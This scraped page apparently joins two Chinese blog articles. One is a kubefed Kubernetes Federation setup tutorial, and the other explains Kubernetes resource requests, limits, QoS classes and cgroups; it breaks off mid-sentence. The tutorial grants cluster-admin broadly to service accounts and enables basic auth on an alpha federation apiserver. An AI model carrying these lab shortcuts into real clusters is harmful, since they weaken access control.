「深度学习福利」大神带你进阶工程师,立即查看>>>
使用kubefed建立Kubernetes Federation
Kubernetes Federation(聯邦) 是實現跨地區與跨服務商多個 Kubernetes 叢集的管理機制。Kubernetes Federation 的架構非常類似純 Kubenretes 叢集,Federation 會擁有自己的 API Server 與 Controller Manager 來提供一個標準的 Kubernetes API,以及管理聯邦叢集,並利用 Etcd 來儲存所有狀態,不過差異在於 Kubenretes 只管理多個節點,而 Federation 是管理所有被註冊的 Kubernetes 叢集。
Federation 使管理多個叢集更為簡單,這主要是透過兩個模型來實現: 跨叢集的資源同步(Sync resources across clusters) :提供在多個叢集中保持資源同步的功能,如確保一個 Deployment 可以存在於多個叢集中。 跨叢集的服務發現(Cross cluster discovery:) :提供自動配置 DNS 服務以及在所有叢集後端上進行負載平衡功能,如提供全域 VIP 或 DNS record,並透過此存取多個叢集後端。
Federation 有以下幾個好處: 跨叢集的資源排程,能讓 Pod 分配至不同叢集的不同節點上執行,如果當前叢集超出負荷,能夠將額外附載分配到空閒叢集上。 叢集的高可靠,能夠做到 Pod 故障自動遷移。 可管理多個 Kubernetes 叢集。 跨叢集的服務發現。 雖然 Federation 能夠降低管理多叢集門檻,但是目前依據不建議放到生產環境。以下幾個原因: 成熟度問題 ,目前還處與 Alpha 階段,故很多功能都還處於實現性質,或者不太穩定。 提升網路頻寬與成本 ,由於 Federation 需要監控所有叢集以確保當前狀態符合預期,因是會增加額外效能開銷。 跨叢集隔離差 ,Federation 的子叢集git有可能因為 Bug 的引發而影響其他叢集運行狀況。 個人用起來不是很穩定,例如建立的 Deployment 刪除很常會 Timeout。 支援的物件資源有限,如不支援 StatefulSets。可參考 API resources 。
Federation 主要包含三個元件: federation-apiserver :主要提供跨叢集的 REST API 伺服器,類似 kube-apiserver。 federation-controller-manager :提供多個叢集之間的狀態同步,類似 kube-controller-manager。 kubefed :Federation CLI 工具,用來初始化 Federation 元件與加入子叢集。
節點資訊
本次安裝作業系統採用 Ubuntu 16.04 Server ,測試環境為實體機器,共有三組叢集:
Federation 控制平面叢集(簡稱 F):
IP Address Host vCPU RAM
172.22.132.31
172.22.132.32 k8s-f-m1 | k8s-f-n1 4 | 4 16G | 16G 叢集 A: IP Address Host vCPU RAM 172.22.132.41 | 172.22.132.42 k8s-a-m1 | k8s-a-n1 8 | 8 16G | 16G 叢集 B: IP Address Host vCPU RAM 172.22.132.51 | 172.22.132.52 k8s-b-m1 | k8s-b-n1 8 | 8 16G | 16G 事前準備 安裝與進行 Federation 之前,需要確保以下條件達成: 所有叢集的節點各自部署成一個 Kubernetes 叢集,請參考 用 kubeadm 部署 Kubernetes 叢集 。 修改 F、A 與 B 叢集的 Kubernetes config,並將 A 與 B 複製到 F 節點,如修改成以下: ... ... name: k8s-a-cluster contexts: - context: cluster: k8s-a-cluster user: a-cluster-admin name: a-cluster-context current-context: a-cluster-context kind: Config preferences: {} users: - name: a-cluster-admin user: ... 這邊需要修改每個叢集 config。 接著在 F 叢集合併 F、A 與 B 三個 config,透過以下方式進行: $ ls a-cluster.conf b-cluster.conf f-cluster.conf $ KUBECONFIG=f-cluster.conf:a-cluster.conf:b-cluster.conf kubectl config view --flatten > ~/.kube/config $ kubectl config get-contexts CURRENT NAME CLUSTER AUTHINFO NAMESPACE a-cluster-context k8s-a-cluster a-cluster-admin b-cluster-context k8s-b-cluster b-cluster-admin * f-cluster-context k8s-f-cluster f-cluster-admin 在 F 叢集安裝 kubefed 工具: $ wget https://storage.googleapis.com/kubernetes-federation-release/release/v1.9.0-alpha.3/federation-client-linux-amd64.tar.gz $ tar xvf federation-client-linux-amd64.tar.gz $ cp federation/client/bin/kubefed /usr/local/bin/ $ kubefed version Client Version: version.Info{Major:"1", Minor:"9+", GitVersion:"v1.9.0-alpha.3", GitCommit:"85c06145286da663755b140efa2b65f793cce9ec", GitTreeState:"clean", BuildDate:"2018-02-14T12:54:40Z", GoVersion:"go1.9.1", Compiler:"gc", Platform:"linux/amd64"} Server Version: version.Info{Major:"1", Minor:"9", GitVersion:"v1.9.6", GitCommit:"9f8ebd171479bec0ada837d7ee641dec2f8c6dd1", GitTreeState:"clean", BuildDate:"2018-03-21T15:13:31Z", GoVersion:"go1.9.3", Compiler:"gc", Platform:"linux/amd64"} 在 F 叢集安裝 Helm 工具,並進行初始化: $ wget -qO- https://kubernetes-helm.storage.googleapis.com/helm-v2.8.1-linux-amd64.tar.gz | tar -zxf $ sudo mv linux-amd64/helm /usr/local/bin/ $ kubectl -n kube-system create sa tiller $ kubectl create clusterrolebinding tiller --clusterrole cluster-admin --serviceaccount=kube-system:tiller $ helm init --service-account tiller # wait for a few minutes $ helm version Client: &version.Version{SemVer:"v2.8.1", GitCommit:"6af75a8fd72e2aa18a2b278cfe5c7a1c5feca7f2", GitTreeState:"clean"} Server: &version.Version{SemVer:"v2.8.1", GitCommit:"6af75a8fd72e2aa18a2b278cfe5c7a1c5feca7f2", GitTreeState:"clean"} 部署 Kubernetes Federation 由於本篇是使用實體機器部署 Kubernetes 叢集,因此無法像是 GCP 可以提供 DNS 服務來給 Federation 使用,故這邊要用 CoreDNS 建立自定義 DNS 服務。 CoreDNS 安裝 首先透過 Helm 來安裝 CoreDNS 使用到的 Etcd: $ helm install --namespace federation --name etcd-operator stable/etcd-operator $ helm upgrade --namespace federation --set cluster.enabled=true etcd-operator stable/etcd-operator $ kubectl -n federation get po NAME READY STATUS RESTARTS AGE etcd-operator-etcd-operator-etcd-backup-operator-577d56449zqkj2 1/1 Running 0 1m etcd-operator-etcd-operator-etcd-operator-56679fb56-fpgmm 1/1 Running 0 1m etcd-operator-etcd-operator-etcd-restore-operator-65b6cbccl7kzr 1/1 Running 0 1m 完成後就可以安裝 CoreDNS 來提供自定義 DNS 服務了: $ cat < Values.yaml isClusterService: false serviceType: NodePort middleware: kubernetes: enabled: false etcd: enabled: true zones: - "kairen.com." endpoint: "http://etcd-cluster.federation:2379" EOF $ kubectl create clusterrolebinding federation-admin --clusterrole=cluster-admin --user=system:serviceaccount:federation:default $ helm install --namespace federation --name coredns -f Values.yaml stable/coredns # 測試 CoreDNS 可以查詢 Domain Name $ kubectl run -it --rm --restart=Never --image=infoblox/dnstools:latest dnstools dnstools# host kubernetes kubernetes.default.svc.cluster.local has address 10.96.0.1 安裝與初始化 Federation 控制平面元件 完成 CoreDNS 後,接著透過 kubefed 安裝控制平面元件,由於使用到 CoreDNS,因此這邊要傳入相關 conf 檔,首先建立 coredns-provider.conf 檔案,加入以下內容: $ cat < coredns-provider.conf [Global] etcd-endpoints = http://etcd-cluster.federation:2379 zones = kairen.com. EOF 請自行修改 etcd-endpoints 與 zones 。 檔案建立並確認沒問題後,透過 kubefed 工具來初始化主叢集: $ kubefed init federation \ --host-cluster-context=f-cluster-context \ --dns-provider="coredns" \ --dns-zone-name="kairen.com." \ --apiserver-enable-basic-auth=true \ --apiserver-enable-token-auth=true \ --dns-provider-config="coredns-provider.conf" \ --apiserver-arg-overrides="--anonymous-auth=false,--v=4" \ --api-server-service-type="NodePort" \ --api-server-advertise-address="172.22.132.31" \ --etcd-persistent-storage=true $ kubectl -n federation-system get po NAME READY STATUS RESTARTS AGE apiserver-848d584b5d-cwxdh 2/2 Running 0 1m controller-manager-5846c555c6-mw2jz 1/1 Running 1 1m 這邊可以改變 --etcd-persistent-storage 來選擇使用或不使用 PV,若使用請先建立一個 PV 來提供給 Federation Pod 的 PVC 索取使用,可以參考 Persistent Volumes 。 加入 Federation 的 Kubernetes 子叢集 $ kubectl config use-context federation # 加入 k8s-a-cluster $ kubefed join f-a-cluster \ --cluster-context=a-cluster-context \ --host-cluster-context=f-cluster-context # 加入 k8s-b-cluster $ kubefed join f-b-cluster \ --cluster-context=b-cluster-context \ --host-cluster-context=f-cluster-context $ kubectl get cluster NAME AGE f-a-cluster 57s f-b-cluster 53s 測試 Federation 叢集 這邊利用 Nginx Deployment 來進行測試,先簡單建立一個副本為 4 的 Nginx: $ kubectl config use-context federation $ kubectl create ns default $ kubectl run nginx --image nginx --port 80 --replicas=4 查看 Cluster A: $ kubectl --context=a-cluster-context get po NAME READY STATUS RESTARTS AGE nginx-7587c6fdb6-dpjv5 1/1 Running 0 25s nginx-7587c6fdb6-sjv8v 1/1 Running 0 25s 查看 Cluster B: $ kubectl --context=b-cluster-context get po NAME READY STATUS RESTARTS AGE nginx-7587c6fdb6-dv45v 1/1 Running 0 1m nginx-7587c6fdb6-wxsmq 1/1 Running 0 1m 其他可測試功能: 設定 Replica set preferences,參考 Spreading Replicas in Underlying Clusters 。 Federation 在 v1.7+ 加入了 ClusterSelector Annotation Scheduling Policy 。 Refers Minikube Federation Global Kubernetes in 3 Steps Prev: Kubernetes v1.10.x HA 全手動苦工安裝教學(TL;DR) Next: 利用 Kubeflow 來管理 TensorFlow 應用程式 「深度学习福利」大神带你进阶工程师,立即查看>>> 资源,无论是计算资源、存储资源、网络资源,对于容器管理调度平台来说都是需要关注的一个核心问题。 • 如何对资源进行抽象、定义? • 如何确认实际可以使用的资源量? • 如何为容器分配它所申请的资源? 这些问题都是平台开发者需要仔细思考的。当然, kubernetes 在这个方面也提出了很多精巧、实用的设计方案。所以这篇博文所关注的就是有关 kubernetes 资源管理的相关问题。 这篇博文会依次讨论以下几个问题,希望能够通过尽量平实的语言为读者解析 kubernetes 在资源管理上的大致思路。 • 首先我们关注的是 kubernetes 对各种资源的抽象模型,也就是回答第一个问题:kubernetes 是如何对资源进行抽象和定义的呢? • 然后我们将关注,kubernetes 是如何获取它可以使用的资源量的信息的。 • 在弄清楚 kubernetes 是如何定义资源,以及如何确认可用资源量后,我们将关注 kubernetes 是如何实际为 pod 分配资源的。 Kubernetes 资源模型 01 Kubernetes 是怎么定义资源的呢? 在 kubernetes 中,任何可以被申请、分配,最终被使用的对象,都是 kubernetes 中的资源,比如 CPU、内存。 而且针对每一种被 kubernetes 所管理的资源,都会被赋予一个【资源类型名】,这些名字都是符合 RFC 1123 规则的,比如 CPU,它对应的资源名全称为 kubernetes.io/cpu(在展示时一般直接简写为 cpu);GPU 资源对应的资源名为 alpha.kubernetes.io/nvidia-gpu。 除了名字以外,针对每一种资源还会对应有且仅有一种【基本单位】。这个基本单位一般是在 kubernetes 组件内部统一用来表示这种资源的数量的,比如 memory 的基本单位就是字节。 但是为了方便开发者使用,在开发者通过 yaml 文件或者 kubectl 同 kubernetes 进行交互时仍可以使用多种可读性更好的资源单位,比如内存的 Gi。而当这些信息进入 kubernetes 内部后,还是会被显式的转换为最基本单位。 所有的资源类型,又可以被划分为两大类:可压缩(compressible)和不可压缩(incompressible)的。其评判标准就在于: 如果系统限制或者缩小容器对可压缩资源的使用的话,只会影响服务对外的服务性能,比如 CPU 就是一种非常典型的可压缩资源。 对于不可压缩资源来说,资源的紧缺是有可能导致服务对外不可用的,比如内存就是一种非常典型的不可压缩资源。 02 Kubernetes 中有哪几类资源呢? 目前 kubernetes 默认带有两类基本资源 • CPU • memory 其中 CPU,不管底层的机器是通过何种方式提供的(物理机 or 虚拟机),一个单位的 CPU 资源都会被标准化为一个标准的 "Kubernetes Compute Unit" ,大致和 x86 处理器的一个单个超线程核心是相同的。 CPU 资源的基本单位是 millicores,因为 CPU 资源其实准确来讲,指的是 CPU 时间。所以它的基本单位为 millicores,1 个核等于 1000 millicores。也代表了 kubernetes 可以将单位 CPU 时间细分为 1000 份,分配给某个容器。 memory 资源的基本单位比较好理解,就是字节。 另外,kubernetes 针对用户的自定制需求,还为用户提供了 device plugin 机制,让用户可以将资源类型进一步扩充,比如现在比较常用的 nvidia gpu 资源。这个特性可以使用户能够在 kubernetes 中管理自己业务中特有的资源,并且无需修改 kubernetes 自身源码。 而且 kubernetes 自身后续还会进一步支持更多非常通用的资源类型,比如网络带宽、存储空间、存储 iops 等等。 所以如上,我们就回答了 kubernetes 是如何定义资源的问题。 Kubernetes 计算节点资源管理 了解了 kubernetes 是如何对资源进行定义的,我们再来看 Kubernetes 如何确定可以使用的资源量呢? kubernetes 所管理的集群中的每一台计算节点都包含一定的资源,kubernetes 是如何获知这台计算节点有多少资源的呢?这些资源中又有多少可以被用户容器所使用呢? 我们在使用 kubernetes 时会发现:每一个 Node 对象的信息中,有关资源的描述部分如下述所示 (通过 kubectl get node xxx -o yaml 命令可以得到) allocatable: cpu: "40" memory: 263927444Ki pods: "110" capacity: cpu: "40" memory: 264029844Ki pods: "110" 其中 【capacity】 就是这台 Node 的【资源真实量】,比如这台机器是 8核 32G 内存,那么在 capacity 这一栏中就会显示 CPU 资源有 8 核,内存资源有 32G(内存可能是通过 Ki 单位展示的)。 而 【allocatable】 指的则是这台机器【可以被容器所使用的资源量】。在任何情况下,allocatable 是一定小于等于 capacity 的。 比如刚刚提到的 8 核机器的,它的 CPU capacity 是 8 核,但是它的 cpu allocatable 量可以被调整为 6 核,也就是说调度到这台机器上面的容器一共最多可以使用 6 核 CPU,另外 2 核 CPU 可以被机器用来给其他非容器进程使用。 Capacity 和 allocatable 信息都是如何确定的呢? 首先看 【capacity】 ,由于 capacity 反映的是这台机器的资源真实数量,所以确认这个信息的任务理所应当交给运行在每台机器上面的 kubelet 上。 kubelet 目前把 cadvisor 的大量代码直接作为 vendor 引入。其实就相当于在 kubelet 内部启动了一个小的 cadvisor。在 kubelet 启动后,这个内部的 cadvisor 子模块也会相应启动,并且获取这台机器上面的各种信息。其中就包括了有关这台机器的资源信息,而这个信息也自然作为这台机器的真实资源信息,通过 kubelet 再上报给 apiserver。 Allocatable 信息又是如何确认的呢? 如果要介绍 allocatable 信息如何确认,首先必须介绍 Node Allocatable Resource 特性 [6]。 Node Allocatable Resource 特性是由 kubernetes 1.6 版本引进的一个特性。主要解决的问题就是:为每台计算节点的【非容器进程】预留资源。 在 kubernetes 集群中的每一个节点上,除了用户容器还会运行很多其他的重要组件,他们并不是以容器的方式来运行的,这些组件的类型主要分为两个大类: kubernetes daemon:kubernetes 相关的 daemon 程序,比如 kubelet,dockerd 等等。 system daemon:和 kubernetes 不相关的其他系统级 daemon 程序,比如 sshd 等等。 这两种进程对于整个物理机稳定的重要性是毋庸置疑的。所以针对这两种进程,kubernetes 分别提供了 Kube-Reserved 和 System-Reserved 特性,可以分别为这两组进程设定一个预留的计算资源量,比如预留 2 核 4G 的计算资源给系统进程用。 Kubernetes 是如何实现这一点的呢? 我们应该都有了解,kubernetes 底层是通过 cgroup 特性来实现资源的隔离与限制的,而这种资源的预留也是通过 cgroup 技术来实现的。 在默认情况下,针对每一种基本资源(CPU、memory),kubernetes 首先会创建一个根 cgroup 组,作为所有容器 cgroup 的根,名字叫做 kubepods。这个 cgroup 就是用来限制这台计算节点上所有 pod 所使用的资源的。默认情况下这个 kubepods cgroup 组所获取的资源就等同于该计算节点的全部资源。 但是,当开启 Kube-Reserved 和 System-Reserved 特性时,kubernetes 则会为 kubepods cgroup 再创建两个同级的兄弟 cgroup,分别叫做 kube-reserved 和 system-reserved,分别用来为 kubernetes daemon、system daemon 预留一定的资源并且与 kubepods cgroup 共同分配这个机器的资源。所以 kubepods 能够被分配到的资源势必就会小于机器的资源真实量了,这样从而就达到了为 kubernetes daemon,system daemon 预留资源的效果。 所以如果开启了 Kube-Reserved 和 System-Reserved 的特性的话,在计算 Node Allocatable 资源数量时必须把这两个 cgroup 占用的资源先减掉。 所以,假设当前机器 CPU 资源的 Capacity 是 32 核,然后我们分别设置 Kube-Reserved 为 2 核,System-Reserved 为 1 核,那么这台机器真正能够被容器所使用的 CPU 资源只有 29 核。 但是在计算 memory 资源的 allocatable 数量时,除了 Kube-Reserved,System-Reserved 之外,还要考虑另外一个因素。那就是 Eviction Threshold。 什么是 Eviction Threshold 呢? Eviction Threshold 对应的是 kubernetes 的 eviction policy 特性。该特性也是 kubernetes 引入的用于保护物理节点稳定性的重要特性。当机器上面的【内存】以及【磁盘资源】这两种不可压缩资源严重不足时,很有可能导致物理机自身进入一种不稳定的状态,这个很显然是无法接受的。 所以 kubernetes 官方引入了 eviction policy 特性,该特性允许用户为每台机器针对【内存】、【磁盘】这两种不可压缩资源分别指定一个 eviction hard threshold, 即资源量的阈值。 比如我们可以设定内存的 eviction hard threshold 为 100M,那么当这台机器的内存可用资源不足 100M 时,kubelet 就会根据这台机器上面所有 pod 的 QoS 级别(Qos 级别下面会介绍),以及他们的内存使用情况,进行一个综合排名,把排名最靠前的 pod 进行迁移,从而释放出足够的内存资源。 所以针对内存资源,它的 allocatable 应该是 [capacity] - [kube-reserved] - [system-reserved] - [hard-eviction] 所以,如果仔细观察你会发现:如果你的集群中没有开启 kube-reserved,system-reserved 特性的话,通过 kubectl get node -o yaml 会发现这台机器的 CPU Capacity 是等于 CPU Allocatable 的,但是 Memory Capacity 却始终大于 Memory Allocatable。主要是因为 eviction 机制,在默认情况下,会设定一个 100M 的 memory eviction hard threshold,默认情况下,memory capacity 和 memory allocatable 之间相差的就是这 100M。 Kubernetes pod 资源管理与分配 通过上面我们了解了 kubernetes 如何定义并且确认在当前集群中有多少可以被利用起来的资源后,下面就来看一下 kubernetes 到底如何将这些资源分配给每一个 pod 的。 在介绍如何把资源分配给每一个 pod 之前,我们首先要看一下 pod 是如何申请资源的。这个对于大多数已经使用过 kubernetes 的童鞋来讲,并不是很陌生。 01 Kubernetes pod 资源申请方式 kubernetes 中 pod 对资源的申请是以容器为最小单位进行的,针对每个容器,它都可以通过如下两个信息指定它所希望的资源量: • request • limit 比如 : resources: requests: cpu: 2.5 memory: "40Mi" limits: cpu: 4.0 memory: "99Mi" 那么 request,limit 分别又代表了什么含义呢? • request: request 指的是针对这种资源,这个容器希望能够保证能够获取到的最少的量。 但是在实际情况下,CPU request 是可以通过 cpu.shares 特性能够实现的。 但是内存资源,由于它是不可压缩的,所以在某种场景中,是有可能因为其他 memory limit 设置比 request 高的容器对内存先进行了大量使用导致其他 pod 连 request 的内存量都有可能无法得到满足。 • limit: limit 对于 CPU,还有内存,指的都是容器对这个资源使用的上限。 但是这两种资源在针对容器使用量超过 limit 所表现出的行为也是不同的。 对 CPU 来说,容器使用 CPU 过多,内核调度器就会切换,使其使用的量不会超过 limit。 对内存来说,容器使用内存超过 limit,这个容器就会被 OOM kill 掉,从而发生容器的重启。 在容器没有指定 request 的时候,request 的值和 limit 默认相等。 而如果容器没有指定 limit 的时候,request 和 limit 会被设置成的值则根据不同的资源有不同的策略。 02 Kubernetes pod QoS 分类 kubernetes 支持用户容器通过 request、limit 两个字段指定自己的申请资源信息。那么根据容器指定资源的不同情况,Pod 也被划分为 3 种不同的 QoS 级别。分别为: • Guaranteed • Burstable • BestEffort 不同的 QoS 级别会在很多方面发挥作用,比如调度,eviction。 Guaranteed 级别的 pod 主要需要满足两点要求: • pod 中的每一个 container 都必须包含内存资源的 limit、request 信息,并且这两个值必须相等 • pod 中的每一个 container 都必须包含 CPU 资源的 limit、request 信息,并且这两个信息的值必须相等 Burstable 级别的 pod 则需要满足两点要求: • 资源申请信息不满足 Guaranteed 级别的要求 • pod 中至少有一个 container 指定了 cpu 或者 memory 的 request 信息 BestEffort 级别的 pod 需要满足: • pod 中任何一个 container 都不能指定 cpu 或者 memory 的 request,limit 信息 所以通过上面的描述也可以看出来, • Guaranteed level 的 Pod 是优先级最高的,系统管理员一般对这类 Pod 的资源占用量比较明确。 • Burstable level 的 Pod 优先级其次,管理员一般知道这个 Pod 的资源需求的最小量,但是当机器资源充足的时候,还是希望他们能够使用更多的资源,所以一般 limit > request。 • BestEffort level 的 Pod 优先级最低,一般不需要对这个 Pod 指定资源量。所以无论当前资源使用如何,这个 Pod 一定会被调度上去,并且它使用资源的逻辑也是见缝插针。当机器资源充足的时候,它可以充分使用,但是当机器资源被 Guaranteed、Burstable 的 Pod 所抢占的时候,它的资源也会被剥夺,被无限压缩。 03 Kubernetes pod 资源分配原理 我们在上面两个小节介绍了: • pod 申请资源的方式 • pod 申请资源的方式对应的是什么 QoS 级别 最终,kubelet 就是基于 【pod 申请的资源】 + 【pod 的 QoS 级别】来最终为这个 pod 分配资源的。 而分配资源的根本方法就是基于 cgroup 的机制。 kubernetes 在拿到一个 pod 的资源申请信息后,针对每一种资源,他都会做如下几件事情: •对 pod 中的每一个容器,都创建一个 container level cgroup(注:这一步真实情况是 kubernetes 向 docker daemon 发送命令完成的)。 • 然后为这个 pod 创建一个 pod level cgroup ,它会成为这个 pod 下面包含的所有 container level cgroup 的父 cgroup。 • 最终,这个 pod level cgroup 最终会根据这个 pod 的 QoS 级别,可能被划分到某一个 QoS level cgroup 中,成为这个 QoS level cgroup 的子 cgroup。 • 整个 QoS level cgroup 还是所有容器的根 cgroup - kubepods 的子 cgroup。 所以这个嵌套关系通过下述图片可以比较清晰的展示出来。 图中代表了一个 kubernetess 计算节点的 cgroup 的层次结构(对于 cpu、memory 来说 cgroup 层次结构是完全一致的)。可见,所有 pod 的 cgroup 配置都位于 kubepods 这个大的 cgroup 下,而之前介绍的 kube-reserved cgroup 和 system-reserved cgroup 和 kubepods cgroup 位于一级,他们 3 个会共享机器的计算资源。 我们首先看如何确定这个 container 对应的 container level cgroup 和它所在的 pod level cgroup。 Container level cgroup 首先,每一个 container 的 cgroup 的配置则是根据这个 container 对这种资源的 request、limit 信息来配置的。 我们分别看一下,针对 cpu、memory 两种资源,kubernetes 是如何为每一个容器创建 container 级别的 cgroup 的。 CPU 资源 首先是 CPU 资源,我们先看一下 CPU request。 CPU request 是通过 cgroup 中 CPU 子系统中的 cpu.shares 配置来实现的。 当你指定了某个容器的 CPU request 值为 x millicores 时,kubernetes 会为这个 container 所在的 cgroup 的 cpu.shares 的值指定为 x * 1024 / 1000。即: cpu.shares = (cpu in millicores * 1024) / 1000 举个栗子,当你的 container 的 CPU request 的值为 1 时,它相当于 1000 millicores,所以此时这个 container 所在的 cgroup 组的 cpu.shares 的值为 1024。 这样做希望达到的最终效果就是: 即便在极端情况下,即所有在这个物理机上面的 pod 都是 CPU 繁忙型的作业的时候(分配多少 CPU 就会使用多少 CPU),仍旧能够保证这个 container 的能够被分配到 1 个核的 CPU 计算量。 其实就是保证这个 container 的对 CPU 资源的最低需求。 所以可见 cpu.request 一般代表的是这个 container 的最低 CPU 资源需求。但是其实仅仅通过指定 cpu.shares 还是无法完全达到上面的效果的,还需要对 QoS level 的 cgroup 进行同步的修改。至于具体实现原理我们在后面会详细介绍。 而针对 cpu limit,kubernetes 是通过 CPU cgroup 控制模块中的 cpu.cfs_period_us,cpu.cfs_quota_us 两个配置来实现的。kubernetes 会为这个 container cgroup 配置两条信息: cpu.cfs_period_us = 100000 (i.e. 100ms) cpu.cfs_quota_us = quota = (cpu in millicores * 100000) / 1000 在 cgroup 的 CPU 子系统中,可以通过这两个配置,严格控制这个 cgroup 中的进程对 CPU 的使用量,保证使用的 CPU 资源不会超过 cfs_quota_us/cfs_period_us,也正好就是我们一开始申请的 limit 值。 可见通过 cgroup 的这个特性,就实现了限制某个容器的 CPU 最大使用量的效果。 Memory 针对内存资源,其实 memory request 信息并不会在 container level cgroup 中有体现。kubernetes 最终只会根据 memory limit 的值来配置 cgroup 的。 在这里 kubernetes 使用的 memory cgroup 子系统中的 memory.limit_in_bytes 配置来实现的。配置方式如下: memory.limit_in_bytes = memory limit bytes memory 子系统中的 limit_in_bytes 配置,可以限制一个 cgroup 中的所有进程可以申请使用的内存的最大量,如果超过这个值,那么根据 kubernetes 的默认配置,这个容器会被 OOM killed,容器实例就会发生重启。 可见如果是这种实现方式的话,其实 kubernetes 并不能保证 pod 能够真的申请到它指定的 memory.request 那么多的内存量,这也可能是让很多使用 kubernetes 的童鞋比较困惑的地方。因为 kubernetes 在对 pod 进行调度的时候,只是保证一台机器上面的 pod 的 memory.request 之和小于等于 node allocatable memory 的值。所以如果有一个 pod 的 memory.limit 设置的比较高,甚至没有设置,就可能会出现一种情况,就是这个 pod 使用了大量的内存(大于它的 request,但是小于它的 limit),此时鉴于内存资源是不可压缩的,其他的 pod 可能就没有足够的内存余量供其进行申请了。当然,这个问题也可以通过一个特性在一定程度进行缓解,这个会在下面介绍。 当然读者可能会有一个问题,如果 pod 没有指定 request 或者 limit 会怎样配置呢? 如果没有指定 limit 的话,那么 cfs_quota_us 将会被设置为 -1,即没有限制。而如果 limit 和 request 都没有指定的话,cpu.shares 将会被指定为 2,这个是 cpu.shares 允许指定的最小数值了。可见针对这种 pod,kubernetes 只会给他分配最少的 CPU 资源。 而对于内存来说,如果没有 limit 的指定的话,memory.limit_in_bytes 将会被指定为一个非常大的值,一般是 2^64 ,可见含义就是不对内存做出限制。 针对上面对 container level cgroup 的介绍,我们举个具体的栗子,假设一个 pod 名字叫做 pod-burstable-1 是由两个业务容器构成的 container1 container2,这两个 container 的资源配置分别如下: - image: image1 name: container1 resources: limits: cpu: 1 memory: 1Gi requests: cpu: 1 memory: 1Gi - image: image2 name: container2 resources: limits: cpu: 2 memory: 2Gi requests: cpu: 1 memory: 1Gi 所以可见这个 pod 所有容器的 request,limit 都已经被指定,但是 request 和 limit 并不完全相等,所以这个 pod 的 QoS 级别为 Burstable。 另外还有一个 pod 名字叫做 pod-guaranteed-1,它由一个 container 构成,资源配置如下: - image: image3 name: container3 resources: limits: cpu: 1 memory: 1Gi requests: cpu: 1 memory: 1Gi 通过这个配置可见,它是一个 Guaranteed 级别的 Pod。 另外还有一个 pod 叫做 pod-besteffort-1 它有一个 container 构成,资源配置信息完全为空,那么这个 pod 就是 besteffort 级别的 pod。 所以通过上述描述的 cgroup 配置方式,这 3 个 pod 会创建 4 个 container cgroup 如下图所示: Pod level cgroup 创建完 container level 的 cgroup 之后,kubernetes 就会为同属于某个 pod 的 containers 创建一个 pod level cgroup。作为它们的父 cgroup。至于为何要引入 pod level cgroup,主要是基于几点原因: • 方便对 pod 内的容器资源进行统一的限制 • 方便对 pod 使用的资源进行统一统计 所以对于我们上面举的栗子,一个 pod 名称为 pod-burstable-1,它包含两个 container:container1、container2,那么这个 pod cgroup 的目录结构如下: pod-burstable-1 | +- container1 | +- container2 注:真实情况下 pod cgroup 的名称是 pod,这里为了表示清楚,用 pod name 代替 那么为了保证这个 pod 内部的 container 能够获取到期望数量的资源,pod level cgroup 也需要进行相应的 cgroup 配置。而配置的方式也基本满足一个原则: pod level cgroup 的资源配置应该等于属于它的 container 的资源需求之和。 但是,这个规则在不同的 QoS 级别的 pod 下也有些细节上的区别。所以针对 Guaranteed 和 Burstable 级别的 Pod,每一个 Pod 的 cgroup 配置都可以由下述 3 个公式来完成 cpu.shares=sum(pod.spec.containers.resources.requests\[cpu\]) cpu.cfs_quota_us=sum(pod.spec.containers.resources.limits\[cpu\] memory.limit_in_bytes=sum(pod.spec.containers.resources.limits\[memory\]) 从公式中可见,pod level cgroup 的 cpu.shares、 cpu.cfs_quota_us、memory.limit_in_bytes 最终都等于属于这个 pod 的 container 的这 3 值的和。 当然在 Burstable,Besteffort 的场景下,有可能 container 并没有指定 cpu.limit、memory.limit,此时 cpu.cfs_quota_us、memory.limit_in_bytes 将不会采用这个公式,因为此时相当于不会对 pod 的 cpu,memory 的使用量做最大值的限制,所以此时这两个配置也会参照上一节中说道的“如果 container 如果没有设置 request 和 limit 的话”处理的方式一样。 所以针对我们在上面的举的例子 pod-burstable-1,就是一个非常典型的 burstable pod,根据 burstable pod 的资源配置公式,kubernetes 会为这个 pod 创建一个 pod 级别的 cgroup。另外 pod-guaranteed-1 也会创建一个 cgroup,这两个 pod level cgroup 的配置如下图所示 Besteffort pod cgroup 上面我们讲到的 pod cgroup 配置规律是不能应用于 besteffort pod 的。 因为这个 QoS 级别的 pod 就像名字描述的那样,kubernetes 只能尽可能的保证你的资源使用,在资源被极端抢占的情况,这种 pod 的资源使用量应该被一定程度的限制,无论是 cpu,还是内存(当然这两种限制的机制完全不同)。 所以针对 besteffort 级别的 pod,由于这里面的所有容器都不包含 request,limit 信息,所以它的配置非常统一。 所以针对 cpu,整个 pod 的 cgroup 配置就只有下面: cpu.shares = 2 可见这个配置的目标就是能够达到,它在机器 cpu 资源充足时能使用整个机器的 cpu,因为没有指定 limit。但是在 cpu 资源被极端抢占时,它能够被分配的 cpu 资源很有限,相当于 2 millicores。 针对内存,没有任何特殊配置,只是采用默认,虽然在这种情况下,这个 pod 可能会使用整个机器那么多的内存,但是 kubernetes eviction 机制会保证,内存不足时,优先删除 Besteffort 级别的 pod 腾出足够的内存资源。 QoS level cgroup 前面也提过,在 kubelet 启动后,会在整个 cgroup 系统的根目录下面创建一个名字叫做 kubepods 子 cgroup,这个 cgroup 下面会存放所有这个节点上面的 pod 的 cgroup。从而达到了限制这台机器上所有 Pod 的资源的目的。 在 kubepods cgroup 下面,kubernetes 会进一步再分别创建两个 QoS level cgroup,名字分别叫做: • burstable • besteffort 通过名字也可以推断出,这两个 QoS level 的 cgroup 肯定是作为各自 QoS 级别的所有 Pod 的父 cgroup 来存在的。 那么问题就来了: • guaranteed 级别的 pod 的 pod cgroup 放在哪里了呢? • 这两个 QoS level cgroup 存在的目的是什么? 首先第一个问题,所有 guaranteed 级别的 pod 的 cgroup 其实直接位于 kubepods 这个 cgroup 之下,和 burstable、besteffort QoS level cgroup 同级。主要原因在于 guaranteed 级别的 pod 有明确的资源申请量(request)和资源限制量(limit),所以并不需要一个统一的 QoS level 的 cgroup 进行管理或限制。 针对 burstable 和 besteffort 这两种类型的 pod,在默认情况下,kubernetes 则是希望能尽可能地提升资源利用率,所以并不会对这两种 QoS 的 pod 的资源使用做限制。 但是在很多场景下,系统管理员还是希望能够尽可能保证 guaranteed level pod 这种高 QoS 级别的 pod 的资源,尤其是不可压缩资源(如内存),不要被低 QoS 级别的 pod 提前使用,导致高 QoS 级别的 pod 连它 request 的资源量的资源都无法得到满足。 所以,kubernetes 才引入了 QoS level cgroup,主要目的就是限制低 QoS 级别的 pod 